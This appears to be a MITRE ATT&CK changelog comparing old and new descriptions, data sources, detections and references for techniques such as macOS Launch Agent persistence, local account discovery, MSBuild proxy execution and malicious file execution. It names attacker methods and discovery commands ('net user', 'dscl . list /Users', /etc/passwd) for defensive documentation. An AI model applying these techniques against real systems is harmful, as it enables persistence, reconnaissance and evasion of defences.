| > | chd or launchctl to load a plist into the appropriate direct | > | o programs, launch user specified programs at login, or to c | ||
| > | ories (Citation: Sofacy Komplex Trojan) (Citation: Methods | > | onduct other developer tasks. Launch Agents can also be ex | ||
| > | of Mac Malware Persistence). The agent name may be disguise | > | ecuted using the [Launchctl](https://attack.mitre.org/techni | ||
| > | d by using a name from a related operating system or benign | > | ques/T1569/001) command. Adversaries may install a new Lau | ||
| > | software. Launch Agents are created with user level privileg | > | nch Agent that executes at login by placing a .plist file in | ||
| > | es and are executed with the privileges of the user when the | > | to the appropriate folders with the <code>RunAtLoad</code> o | ||
| > | y log in (Citation: OSX Malware Detection) (Citation: OceanL | > | r <code>KeepAlive</code> keys set to <code>true</code>.(Cita | ||
| > | otus for OS X). They can be set up to execute when a specifi | > | tion: Sofacy Komplex Trojan)(Citation: Methods of Mac Malwar | ||
| > | c user logs in (in the specific user’s directory structure) | > | e Persistence) The Launch Agent name may be disguised by usi | ||
| > | or when any user logs in (which requires administrator privi | > | ng a name from the related operating system or benign softwa | ||
| > | leges). | > | re. Launch Agents are created with user level privileges and | ||
| > | execute with user level permissions.(Citation: OSX Malware | ||||
| > | Detection)(Citation: OceanLotus for OS X) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Antonio Piazza, @antman1p'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 22:11:45.513000+00:00 | 2022-04-21 16:13:00.598000+00:00 |
| description | Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).
Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges). | Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.
Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.
Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) |
| external_references[2]['source_name'] | OSX Keydnap malware | Sofacy Komplex Trojan |
| external_references[2]['description'] | Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017. | Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. |
| external_references[2]['url'] | https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ | https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ |
| external_references[3]['source_name'] | Antiquated Mac Malware | OceanLotus for OS X |
| external_references[3]['description'] | Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017. | Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017. |
| external_references[3]['url'] | https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ | https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update |
| external_references[4]['source_name'] | OSX.Dok Malware | OSX Keydnap malware |
| external_references[4]['description'] | Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017. | Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017. |
| external_references[4]['url'] | https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ | https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ |
| external_references[5]['source_name'] | Sofacy Komplex Trojan | Methods of Mac Malware Persistence |
| external_references[5]['description'] | Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. | Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. |
| external_references[5]['url'] | https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
| external_references[6]['source_name'] | Methods of Mac Malware Persistence | OSX Malware Detection |
| external_references[6]['description'] | Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. | Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017. |
| external_references[6]['url'] | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf | https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf |
| external_references[7]['source_name'] | OSX Malware Detection | Antiquated Mac Malware |
| external_references[7]['description'] | Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017. | Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017. |
| external_references[7]['url'] | https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf | https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ |
| external_references[8]['source_name'] | OceanLotus for OS X | OSX.Dok Malware |
| external_references[8]['description'] | Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017. | Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017. |
| external_references[8]['url'] | https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update | https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ |
| x_mitre_data_sources[0] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | File monitoring | File: File Creation |
| x_mitre_detection | Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications. | Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.
Ensure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy. |
| x_mitre_version | 1.0 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Service: Service Creation | |
| x_mitre_data_sources | Service: Service Modification |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to get a listing of local system acc | t | 1 | Adversaries may attempt to get a listing of local system acc |
| > | ounts. This information can help adversaries determine which | > | ounts. This information can help adversaries determine which | ||
| > | local accounts exist on a system to aid in follow-on behavi | > | local accounts exist on a system to aid in follow-on behavi | ||
| > | or. Commands such as <code>net user</code> and <code>net lo | > | or. Commands such as <code>net user</code> and <code>net lo | ||
| > | calgroup</code> of the [Net](https://attack.mitre.org/softwa | > | calgroup</code> of the [Net](https://attack.mitre.org/softwa | ||
| > | re/S0039) utility and <code>id</code> and <code>groups</code | > | re/S0039) utility and <code>id</code> and <code>groups</code | ||
| > | >on macOS and Linux can list local users and groups. On Linu | > | >on macOS and Linux can list local users and groups. On Linu | ||
| > | x, local users can also be enumerated through the use of the | > | x, local users can also be enumerated through the use of the | ||
| > | <code>/etc/passwd</code> file. | > | <code>/etc/passwd</code> file. On macOS the <code>dscl . li | ||
| > | st /Users</code> command can be used to enumerate local acco | ||||
| > | unts. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Daniel Stepanic, Elastic'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 19:39:59.544000+00:00 | 2021-07-28 18:05:24.567000+00:00 |
| description | Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.
Commands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. | Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.
Commands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts. |
| x_mitre_data_sources[0] | API monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | File: File Access |
| x_mitre_data_sources[2] | Process command-line parameters | Command: Command Execution |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Elastic - Koadiac Detection with EQL', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql'} | |
| x_mitre_data_sources | Process: OS API Execution |
Current version: 1.2
Version changed from: 1.0 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 21:48:41.083000+00:00 | 2021-10-18 17:45:48.323000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | User Account: User Account Authentication |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Logon Session: Logon Session Creation | |
| x_mitre_data_sources | Logon Session: Logon Session Metadata | |
| x_mitre_platforms | Containers |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use MSBuild to proxy execution of code throu | t | 1 | Adversaries may use MSBuild to proxy execution of code throu |
| > | gh a trusted Windows utility. MSBuild.exe (Microsoft Build E | > | gh a trusted Windows utility. MSBuild.exe (Microsoft Build E | ||
| > | ngine) is a software build platform used by Visual Studio. I | > | ngine) is a software build platform used by Visual Studio. I | ||
| > | t handles XML formatted project files that define requiremen | > | t handles XML formatted project files that define requiremen | ||
| > | ts for loading and building various platforms and configurat | > | ts for loading and building various platforms and configurat | ||
| > | ions.(Citation: MSDN MSBuild) Adversaries can abuse MSBuild | > | ions.(Citation: MSDN MSBuild) Adversaries can abuse MSBuild | ||
| > | to proxy execution of malicious code. The inline task capab | > | to proxy execution of malicious code. The inline task capab | ||
| > | ility of MSBuild that was introduced in .NET version 4 allow | > | ility of MSBuild that was introduced in .NET version 4 allow | ||
| > | s for C# code to be inserted into an XML project file.(Citat | > | s for C# or Visual Basic code to be inserted into an XML pro | ||
| > | ion: MSDN MSBuild) MSBuild will compile and execute the inli | > | ject file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBui | ||
| > | ne task. MSBuild.exe is a signed Microsoft binary, so when i | > | ld Inline Tasks 2017) MSBuild will compile and execute the i | ||
| > | t is used this way it can execute arbitrary code and bypass | > | nline task. MSBuild.exe is a signed Microsoft binary, so whe | ||
| > | application control defenses that are configured to allow MS | > | n it is used this way it can execute arbitrary code and bypa | ||
| > | Build.exe execution.(Citation: LOLBAS Msbuild) | > | ss application control defenses that are configured to allow | ||
| > | MSBuild.exe execution.(Citation: LOLBAS Msbuild) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['@ionstorm', 'Carrie Roberts, @OrOneEqualsOne'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-08 23:29:28.074000+00:00 | 2021-10-15 23:57:07.973000+00:00 |
| description | Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild) Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into an XML project file.(Citation: MSDN MSBuild) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild) | Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild) Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild) |
| external_references[2]['source_name'] | LOLBAS Msbuild | Microsoft MSBuild Inline Tasks 2017 |
| external_references[2]['description'] | LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019. | Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved March 5, 2021. |
| external_references[2]['url'] | https://lolbas-project.github.io/lolbas/Binaries/Msbuild/ | https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element |
| x_mitre_data_sources[0] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'LOLBAS Msbuild', 'description': 'LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Msbuild/'} | |
| x_mitre_data_sources | Process: Process Creation |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may rely upon a user opening a malicious file i | t | 1 | An adversary may rely upon a user opening a malicious file i |
| > | n order to gain execution. Users may be subjected to social | > | n order to gain execution. Users may be subjected to social | ||
| > | engineering to get them to open a file that will lead to cod | > | engineering to get them to open a file that will lead to cod | ||
| > | e execution. This user action will typically be observed as | > | e execution. This user action will typically be observed as | ||
| > | follow-on behavior from [Spearphishing Attachment](https://a | > | follow-on behavior from [Spearphishing Attachment](https://a | ||
| > | ttack.mitre.org/techniques/T1566/001). Adversaries may use s | > | ttack.mitre.org/techniques/T1566/001). Adversaries may use s | ||
| > | everal types of files that require a user to execute them, i | > | everal types of files that require a user to execute them, i | ||
| > | ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and | > | ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and | ||
| > | .cpl. Adversaries may employ various forms of [Masqueradin | > | .cpl. Adversaries may employ various forms of [Masqueradin | ||
| > | g](https://attack.mitre.org/techniques/T1036) on the file to | > | g](https://attack.mitre.org/techniques/T1036) and [Obfuscate | ||
| > | increase the likelihood that a user will open it. While [M | > | d Files or Information](https://attack.mitre.org/techniques/ | ||
| > | alicious File](https://attack.mitre.org/techniques/T1204/002 | > | T1027) to increase the likelihood that a user will open and | ||
| > | ) frequently occurs shortly after Initial Access it may occu | > | successfully execute a malicious file. These methods may inc | ||
| > | r at other phases of an intrusion, such as when an adversary | > | lude using a familiar naming convention and/or password prot | ||
| > | places a file in a shared directory or on a user's desktop | > | ecting the file and supplying instructions to a user on how | ||
| > | hoping that a user will click on it. This activity may also | > | to open it.(Citation: Password Protected Word Docs) While | ||
| > | be seen shortly after [Internal Spearphishing](https://attac | > | [Malicious File](https://attack.mitre.org/techniques/T1204/0 | ||
| > | k.mitre.org/techniques/T1534). | > | 02) frequently occurs shortly after Initial Access it may oc | ||
| > | cur at other phases of an intrusion, such as when an adversa | ||||
| > | ry places a file in a shared directory or on a user's deskto | ||||
| > | p hoping that a user will click on it. This activity may als | ||||
| > | o be seen shortly after [Internal Spearphishing](https://att | ||||
| > | ack.mitre.org/techniques/T1534). | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['TruKno'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-11 14:55:56.177000+00:00 | 2022-05-20 17:19:50.801000+00:00 |
| description | An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl. Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) on the file to increase the likelihood that a user will open it. While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534). | An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl. Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534). |
| x_mitre_data_sources[0] | Anti-virus | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | File: File Creation |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Password Protected Word Docs', 'description': "Lawrence Abrams. (2017, July 12). PSA: Don't Open SPAM Containing Password Protected Word Docs. Retrieved January 5, 2022.", 'url': 'https://www.bleepingcomputer.com/news/security/psa-dont-open-spam-containing-password-protected-word-docs/'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may develop malwar | t | 1 | Adversaries may develop malware and malware components that |
| > | e and malware components that can be used during targeting. | > | can be used during targeting. Building malicious software ca | ||
| > | Building malicious software can include the development of p | > | n include the development of payloads, droppers, post-compro | ||
| > | ayloads, droppers, post-compromise tools, backdoors, packers | > | mise tools, backdoors (including backdoored images), packers | ||
| > | , C2 protocols, and the creation of infected removable media | > | , C2 protocols, and the creation of infected removable media | ||
| > | . Adversaries may develop malware to support their operation | > | . Adversaries may develop malware to support their operation | ||
| > | s, creating a means for maintaining control of remote machin | > | s, creating a means for maintaining control of remote machin | ||
| > | es, evading defenses, and executing post-compromise behavior | > | es, evading defenses, and executing post-compromise behavior | ||
| > | s.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Cita | > | s.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Cita | ||
| > | tion: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) As | > | tion: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) As | ||
| > | with legitimate development efforts, different skill sets m | > | with legitimate development efforts, different skill sets m | ||
| > | ay be required for developing malware. The skills needed may | > | ay be required for developing malware. The skills needed may | ||
| > | be located in-house, or may need to be contracted out. Use | > | be located in-house, or may need to be contracted out. Use | ||
| > | of a contractor may be considered an extension of that adver | > | of a contractor may be considered an extension of that adver | ||
| > | sary's malware development capabilities, provided the advers | > | sary's malware development capabilities, provided the advers | ||
| > | ary plays a role in shaping requirements and maintains a deg | > | ary plays a role in shaping requirements and maintains a deg | ||
| > | ree of exclusivity to the malware. Some aspects of malware | > | ree of exclusivity to the malware. Some aspects of malware | ||
| > | development, such as C2 protocol development, may require ad | > | development, such as C2 protocol development, may require ad | ||
| > | versaries to obtain additional infrastructure. For example, | > | versaries to obtain additional infrastructure. For example, | ||
| > | malware developed that will communicate with Twitter for C2, | > | malware developed that will communicate with Twitter for C2, | ||
| > | may require use of [Web Services](https://attack.mitre.org/ | > | may require use of [Web Services](https://attack.mitre.org/ | ||
| > | techniques/T1583/006).(Citation: FireEye APT29) | > | techniques/T1583/006).(Citation: FireEye APT29) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Content', 'Malware Repository: Malware Metadata'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 13:05:43.492000+00:00 | 2022-01-14 17:14:27.890000+00:00 |
| description | Before compromising a victim, adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors, packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware. Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29) | Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware. Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29) |
| external_references[4]['description'] | Federal Bureau of Investigation, Cyber Division. (2020, March 26). FIN7 Cyber Actors Targeting US Businesses Through USB Keystroke Injection Attacks. Retrieved October 14, 2020. | The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 2022. |
| external_references[4]['url'] | https://www.losangeles.va.gov/documents/MI-000120-MW.pdf | https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/ |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. | Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. |
| x_mitre_version | 1.0 | 1.2 |
Current version: 2.1
Version changed from: 1.1 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify authentication mechanisms and process | t | 1 | Adversaries may modify authentication mechanisms and process |
| > | es to access user credentials or enable otherwise unwarrante | > | es to access user credentials or enable otherwise unwarrante | ||
| > | d access to accounts. The authentication process is handled | > | d access to accounts. The authentication process is handled | ||
| > | by mechanisms, such as the Local Security Authentication Ser | > | by mechanisms, such as the Local Security Authentication Ser | ||
| > | ver (LSASS) process and the Security Accounts Manager (SAM) | > | ver (LSASS) process and the Security Accounts Manager (SAM) | ||
| > | on Windows or pluggable authentication modules (PAM) on Unix | > | on Windows, pluggable authentication modules (PAM) on Unix-b | ||
| > | -based systems, responsible for gathering, storing, and vali | > | ased systems, and authorization plugins on MacOS systems, re | ||
| > | dating credentials. Adversaries may maliciously modify a p | > | sponsible for gathering, storing, and validating credentials | ||
| > | art of this process to either reveal credentials or bypass a | > | . By modifying an authentication process, an adversary may b | ||
| > | uthentication mechanisms. Compromised credentials or access | > | e able to authenticate to a service or system without using | ||
| > | may be used to bypass access controls placed on various reso | > | [Valid Accounts](https://attack.mitre.org/techniques/T1078). | ||
| > | urces on systems within the network and may even be used for | > | Adversaries may maliciously modify a part of this process | ||
| > | persistent access to remote systems and externally availabl | > | to either reveal credentials or bypass authentication mechan | ||
| > | e services, such as VPNs, Outlook Web Access and remote desk | > | isms. Compromised credentials or access may be used to bypas | ||
| > | top. | > | s access controls placed on various resources on systems wit | ||
| > | hin the network and may even be used for persistent access t | ||||
| > | o remote systems and externally available services, such as | ||||
| > | VPNs, Outlook Web Access and remote desktop. | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Chris Ross @xorrior'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 02:41:11.743000+00:00 | 2022-02-10 22:26:33.374000+00:00 |
